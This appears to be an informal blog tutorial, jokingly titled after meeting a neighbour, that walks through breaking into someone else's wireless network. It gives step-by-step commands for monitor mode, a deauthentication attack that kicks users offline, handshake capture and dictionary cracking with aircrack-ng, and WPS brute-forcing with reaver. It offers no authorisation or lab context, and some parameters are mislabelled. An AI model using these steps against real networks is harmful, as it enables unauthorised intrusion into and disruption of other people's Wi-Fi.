How I met your neighbor!!!!

There are 2 ways to hack an wireless network both of them require mon0 (monitoring mode) if you are not associated and authenticated to the network(connected).

Things that you might need:-

1. Kali Linux on Vmware.
2. Dlink dw-123.(or any other wireless card that supports monitoring mode)

Dictionary attack:- 

A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary.

How to?

1. Open a new terminal in Kali Linux and type airmon-ng start wlan0 and hit enter, here wlan0 can be replaced by interface name of your card.
   
2.  Now type airodump-ng mon0 and hit enter to get the list of networks in your range.
   
3. Now type airodump-ng --bssid target’s bssid -c channel number --write filename mon0 and hit enter to capture the packets of the target router.
   
4. Now on a new terminal window type aireplay-ng -0 5 --ignore-negative-one -a essid  -c cleint essid mon0 to kick the user out and make him to authenticate himself once again which gives us an authentication frame.
   
5. Now press Ctrl+c to stop the first terminal or close both terminals.
6. Now type aircrack-ng -w “path to wordlist” filename.cap and hit enter to crack the hash.

Limitations:-

If you don't have the word in the word-list than you cannot hack the password.

Brute force attack:-
Brute Force Attack aims at being the simplest kind of method to gain access to a site: it tries usernames and passwords, over and over again, until it gets in.

How to?

1. Open a new terminal in Kali Linux and type airmon-ng start wlan0 and hit enter, here wlan0 can be replaced by interface name of your card.
   
2.  Now type airodump-ng mon0 to get the list of networks in your range.
   
3. Now to deploy reaver you will need to type reaver -i mon0  -b bssid -vv and hit enter, after a few minutes or hours you will get the wps key wpa key of the router.
   

Limitation:-

It takes a lot of time to crack the password and requires a stable traffic of the network.